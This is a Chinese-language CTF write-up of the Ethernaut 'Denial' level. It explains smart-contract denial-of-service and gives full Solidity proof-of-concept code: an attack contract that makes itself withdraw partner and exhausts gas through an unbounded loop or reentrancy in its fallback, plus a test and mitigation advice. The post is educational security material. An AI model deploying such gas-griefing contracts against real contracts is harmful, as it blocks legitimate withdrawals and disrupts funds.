Ethernaut学习之路 Denial

  • Lori
  • 更新于 2024-03-02 14:05
  • 阅读 1080

通过 Ethernaut Denial 了解Denial of Service攻击

Ethernaut Solutions

on my Github 我通过破解 Ethernaut CTF 学习了智能合约漏洞,对合约进行了安全分析,并提出了相应的安全建议,以帮助其他开发者更好地保护他们的智能合约,鉴于网络上教程较多,我着重分享1~19题里难度四星以上以及20题及以后的题目。

About Ethernaut

  • Ethernaut 是由 Zeppelin 开发并维护的一个平台。,上面有很多包含了以太坊经典漏洞的合约,以类似 CTF 题目的方式呈现给我们。每个挑战都涉及到以太坊智能合约的各种安全漏洞和最佳实践,并提供了一个交互式的环境,让用户能够实际操作并解决这些挑战。Ethernaut 不仅适用于新手入门,也适用于有经验的开发者深入学习智能合约安全。
  • 平台网址:https://ethernaut.zeppelin.solutions/

Denial合约分析

我们将通过DoS攻击来解决这道题,在正式开始之前,我们首先了解什么是智能合约Denial of Service攻击。

Denial of Service (DoS)

1. 定义

恶意用户或者恶意合约利用合约中的漏洞或者设计不当的地方,来耗尽合约的资源,导致合约无法正常执行或者停止响应。

2. 探寻原因

智能合约 DoS 攻击可能包括以下形式:

  1. Gas Exhaustion:攻击者创建一个高度复杂的智能合约或者循环调用合约中的操作,消耗了大量的燃气(gas),从而使得交易无法完成或者执行非常缓慢。
  2. Condition Attack:触发合约中的某个漏洞让进入条件崩溃,无法再执行,常见的是利用智能合约中的条件判断语句(如 require、assert 等)的漏洞,使得条件判断无法达到预期的结果,从而导致合约无法正常执行下去。
  3. State Bloat:攻击者通过大量创建无用或者恶意的状态对象,如大量的合约、用户、或者数据项,来使得合约状态变得庞大,从而影响合约的存储和处理能力,导致合约执行速度下降或者无法正常运行,很可能导致Gas Exhaustion。

合约分析

  • 攻击类型:Denial of Service (DoS)
  • 目标:阻止其他人从 fund 中 withdraw 以太币,即要阻止 withdraw 函数的运行。
  • 平台网址:https://ethernaut.zeppelin.solutions/

    // SPDX-License-Identifier: MIT
    pragma solidity ^0.8.0;
    contract Denial {
    
    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address public constant owner = address(0xA9E);
    uint timeLastWithdrawn;
    mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances
    
    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }
    
    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint amountToSend = address(this).balance / 100;
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call{value:amountToSend}("");
        payable(owner).transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = block.timestamp;
        withdrawPartnerBalances[partner] +=  amountToSend;
    }
    
    // allow deposit of funds
    receive() external payable {}
    
    // convenience function
    function contractBalance() public view returns (uint) {
        return address(this).balance;
    }
    }

这个合约容易理解,就是将合约里的收益的 1% 发放给 partner,1% 发放给owner

在这我们关注 withdraw函数,

  • 首先注意该函数并没有设置任何限制条件,任何人都可以调用该函数;
  • 每次withdraw将合约里的收益的 1% 发放给 partner,1% 发放给owner,并更新 partner 领取收益的记录;
  • 其次该函数中使用了call函数,该函数是solidity中一个低级函数,它允许我们执行一个外部合约的函数,并没有检查返回值,如果外部合约的函数执行失败,该函数会继续执行下去;
  • 通过 transfer 函数,将 1%的余额转移到合约的所有者地址:transfer 函数是一个高级别的转账函数,会自动抛出异常(revert),如果转账失败,从而保护合约免受恶意合约的攻击。
  • 更新上一次执行提取函数的时间和余额:记录最后一次执行提取操作的时间和金额,以便跟踪提取操作的历史。
// withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint amountToSend = address(this).balance / 100;
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call{value:amountToSend}("");
        payable(owner).transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = block.timestamp;
        withdrawPartnerBalances[partner] +=  amountToSend;
    }
  1. 很容易能够注意到 partner.call{value:amountToSend}(""),如果通过对合约进行转账会调用fallback或者receive函数来收款,再看,任何人可以通过setWithdrawPartner函数设置 partner,这是我们可以利用攻击的点;
  2. partner.call{value:amountToSend}("")在对未知合约进行外部调用时没有指定固定的 gas 量,仍然可能会产生 DoS 攻击,call-stack-depth 可以看到,外部调用在发起时最多可以使用当前可用 gas 的 63/64,当剩余 1/64 的 gas 无法满足,withdraw 就会失败。

Proof of Concept

根据以上分析,完整的 PoC 代码如下:

interface IDenial {
    function withdraw() external;
    function setWithdrawPartner(address _partner) external;
}

contract Solution {
    address public contractAddress;
    address public owner;

    constructor(address _contractAddress) {
        contractAddress = _contractAddress;
        owner =  msg.sender;
    }

    function exploit() internal {
        uint256 sum;
        for (uint256 index = 0; index < type(uint256).max; index++) {
            sum += 1;
        }
    }

    function attack() public {
        IDenial(contractAddress).setWithdrawPartner(address(this));
    }

    function withdraw() external {
        require(owner ==  msg.sender, "Not owner");
        payable(owner).transfer(address(this).balance);
    }

    fallback() external payable {
        exploit();
        // contractAddress.call(abi.encodeWithSignature("withdraw()"));
    }
}

contract DenialTest is BaseTest {

    Solution public solution;

    function setUp() public override {
        super.setUp();
    }

    function test_Attack() public {

        solution = new Solution(contractAddress);
        solution.attack();

        uint256 beforeBalance = contractAddress.balance;

        contractAddress.call{gas: 10**6 }(abi.encodeWithSignature("withdraw()"));

        uint256 afterBalance = contractAddress.balance;

        require(beforeBalance == afterBalance, "Not successful");
    }
}
  1. 暴力循环耗尽gas 我们通过Denial(contractAddress).setWithdrawPartner将攻击合约设置为partner,攻击合约的fallback函数将调用Denial(contractAddress).withdraw,当调用Denial(contractAddress).withdraw,进入 partner 合约的收款函数后又调用exploit函数(如下)通过一个庞大的循环将 63/64 gas 耗尽,剩余的 1/64 gas 满足不了后续的操作,withdraw 函数失败。
    function exploit() internal {
        uint256 sum;
        for (uint256 index = 0; index < type(uint256).max; index++) {
            sum += 1;
        }
    }
    fallback() external payable {
        exploit();
    }
  1. Reentrancy耗尽gas 也可以选择通过重入攻击来消耗 gas,Partner 的 fallback回调Denial(contractAddress).withdraw函数,从而导致递归调用,重复进入 withdraw 将 63/64 gas 耗尽,剩余的 1/64 gas 满足不了后续的操作,withdraw 函数失败。
    fallback() external payable {
        contractAddress.call(abi.encodeWithSignature("withdraw()"));
    }

安全建议

  1. 特殊函数应设定权限,例如Denial(contractAddress).setWithdrawPartner(),这个至关重要,尤其涉及资金;
  2. 重入 通常我们遵循检查-影响-交互的模式,并采取适当的条件检查、使用适当的锁定机制以及限制外部调用来避免重入攻击。尤其需要注意,在某些情况下,即使在函数末尾进行多个外部调用,也可能导致类似的问题。例如,在函数末尾进行多个外部调用时,如果某个外部调用触发了另一个合约中的重入攻击,那么这种攻击仍然可能发生。在这种情况下,即使合约自身符合 CEI 模式和其他最佳实践,也无法完全防止外部合约中的恶意行为;
  3. DoS 上述提过,外部调用在发起时最多可以使用当前可用 gas 的 63/64。因此,根据完成交易所需的 gas 量,可以使用具有足够高 gas 的交易来缓解这种特定的攻击。这确保即使大部分 gas 被消耗,仍然有足够的剩余 gas 完成父调用中的剩余操作码。另外需要注意,使用适当的条件检查,设定合约操作的边界条件来避免循环和复杂计算,限制外部调用以避免重入攻击。
点赞 1
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
Lori
Lori
0x3F3c...Dc2F
最近有点儿小忙,更新不频繁~